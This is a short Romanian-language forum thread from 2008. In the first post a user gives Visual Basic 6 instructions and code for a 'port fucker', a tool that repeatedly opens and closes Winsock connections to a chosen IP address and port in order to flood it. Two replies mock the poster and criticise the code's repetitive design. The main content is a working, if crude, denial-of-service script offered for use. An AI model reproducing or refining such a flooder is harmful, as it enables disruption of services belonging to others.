Proxenon Posted April 24, 2008 Report Posted April 24, 2008 Pentru a creea un mic sau mare port fucker in Visual Basic 6 Vom Avea nevoie de :- 2 Textboxuri (ip.text si port.text)- 2 Butoane (cmdStart si cmdStop)- Control Microsoft Winsock Control 6.0 (mswinsck.ocx Project -> Components)- 5 (Sau mai multe Winsockuri pe Forma)- 1 Timer pus pe intervalul 1 (Numele lui sa fie action) si care sa fie disabledIn Urmatorul Exemplu vom folosi numai 5 Winsockuri (sock1 , sock2 , sock3 , sock4 , sock5)Codul butonului De Start :Cod:action.enabled = trueCodul Butonului de Stop :Cod:action.enabled = falseCodul Timerului Action :Cod:For i = 0 to 150 'Reconnecteaza de 150 de ori Winsockuriile'Sock 1sock1.closesock1.RemoteHost = ip.textsock1.RemotePort = port.textsock1.Connectsock1.closeCod:'Sock 2sock2.closesock2.RemoteHost = ip.textsock2.RemotePort = port.textsock2.Connectsock2.closeCod:'Sock 3sock3.closesock3.RemoteHost = ip.textsock3.RemotePort = port.textsock3.Connectsock3.closeCod:'Sock 4sock4.closesock4.RemoteHost = ip.textsock4.RemotePort = port.textsock4.Connectsock4.closeCod:'Sock 5sock5.closesock5.RemoteHost = ip.textsock5.RemotePort = port.textsock5.Connectsock5.closenext i Quote
Grunt Posted April 24, 2008 Report Posted April 24, 2008 De unde stii tu sa faci asa ceva daca te incurci la suma a doua numere intregi? Quote
Nytro Posted April 25, 2008 Report Posted April 25, 2008 Nu e facut de el . Oricum o mare prostie codul . Daca vreau 100 de Winsockuri ? Scriu 500 de linii ? Nu s-a auzit de for ... Quote